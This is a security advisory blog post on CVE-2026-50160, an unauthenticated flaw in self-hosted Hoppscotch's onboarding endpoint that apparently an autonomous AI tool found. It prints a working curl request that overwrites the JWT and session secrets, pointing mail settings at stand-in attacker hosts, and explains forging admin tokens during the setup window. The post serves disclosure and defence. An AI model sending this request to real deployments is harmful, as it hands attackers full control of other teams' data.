All posts CVE CVE-2026-50160 · May 2026 · Offgrid Security Kira Found a CVSS 10.0 Full Compromise in Hoppscotch: Four Weaknesses. One Exploit. One unauthenticated HTTP request. That’s the whole attack. No login, no token, no credentials. You send a POST to a fresh Hoppscotch instance and you walk away owning the JWT signing key. CVE CVE-2026-50160 CVSS 10.0 (Critical) GHSA GHSA-j542-4rch-8hwf ↗ Affected Hoppscotch self-hosted ≤ 2026.4.1 Fixed 2026.5.0 Found by Kira, Offgrid Security Kira was pointed at the Hoppscotch self-hosted repository. From there it ran without human guidance: enumerating endpoints, tracing data flows across files, identifying the broken trust boundary in the onboarding flow, and generating a working proof of concept against a live Docker deployment. No human told it where to look, what to test, or how to chain the weaknesses. The human role was a single review pass on the final report before disclosure, not to find the vulnerability, but to verify the finding was genuine before taking up the Hoppscotch team’s time. Everything before that review was Kira’s. I want to walk through this one slowly, because the severity number isn’t the interesting part. The interesting part is why it sat there in the open. Hoppscotch is open source, over 79,000 stars, self-hosted by a lot of teams who care about security. It’s an API testing tool. The users are literally people who poke at APIs for a living. Plenty of sharp eyes have read this code. The bug wasn’t buried in some abandoned corner. It was in the onboarding flow, the very first thing a fresh deployment exposes to the internet. So why didn’t anyone catch it? Because there is no broken line to catch. The Attack The endpoint is POST /v1/onboarding/config . It exists to take your initial setup: OAuth providers, SMTP config, the normal first-boot stuff. An attacker sends exactly that, plus two extra keys that were never supposed to be accepted: curl -X POST http://target:3170/v1/onboarding/config \ -H "Content-Type: application/json" \ -d '{ "VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL", "MAILER_SMTP_ENABLE": "true", "MAILER_SMTP_URL": "smtp://attacker.com:25", "MAILER_ADDRESS_FROM": "attacker@evil.com", "JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET", "SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION" }' # {"token":"5d63f43c-aeda-473f-bb84-abfdd739a8a5"} The first four fields are legitimate onboarding parameters; they have to be there to pass provider validation. JWT_SECRET and SESSION_SECRET are extras, not declared in the DTO, not supposed to reach the database. The server writes them straight to the database anyway. Decrypt the row afterward and there it is: the attacker’s secret, sitting where the real one used to be. Before: JWT_SECRET in DB (AES-256-CBC encrypted): 5c3ddd04363604faeb24a09a...:acf5090650be46309af5633d... After: JWT_SECRET in DB (decrypted): ATTACKER_CONTROLLED_JWT_SECRET Once you control JWT_SECRET , you don’t break into the application. You are the application. You forge a token for any user you want, admin included, and every authentication guard validates it happily, because it’s checking signatures against a secret you now own. The legitimate admin can reset every password in the system and it changes nothing. The attacker keeps minting valid tokens until the deployment is physically torn down and redeployed from scratch. From there: every workspace, every collection, every team’s data. All of it readable, all of it writable, by someone who never had an account. CVSS scored it 10.0: network vector, no privileges required, no user interaction, scope change across the entire auth system. That’s the rare clean ten. Metric Value Rationale Attack Vector Network Publicly accessible endpoint Attack Complexity Low Single HTTP request Privileges Required None No authentication User Interaction None Fully attacker-driven Scope Changed Affects auth infrastructure across entire app Confidentiality High All data accessible via forged tokens Integrity High Full write access to all user resources Availability None Service remains up The Timing Window The attack window is the exact moment your instance is most exposed. Between docker compose up and the moment you finish onboarding, usersCount === 0 . That’s when the endpoint is live and ungated. Self-hosted instances are typically deployed with a public IP, configured, and then handed off to the team. That window (minutes to hours depending on how quickly the admin gets through setup) is when an attacker scanning for Hoppscotch deployments hits the onboarding endpoint first. If they get there before you finish setup, they own the instance. If they get there after onboarding completes and re-onboarding is disabled, the check blocks them. The race window is real. Why Four Good Engineers Would Each Sign Off on This Here’s the part worth internalizing. Four independent weaknesses had to be present for this to work, and every single one looks reasonable in isolation. This is the anatomy of a vulnerab...
CVE-2026-50160 is a critical (CVSS 10.0) vulnerability in self-hosted Hoppscotch where an unauthenticated HTTP POST request to the `/v1/onboarding/config` endpoint allows an attacker to overwrite the JWT signing key and session secret, leading to full system compromise. Affected versions are Hoppscotch self-hosted ≤ 2026.4.1, and the issue is fixed in version 2026.5.0.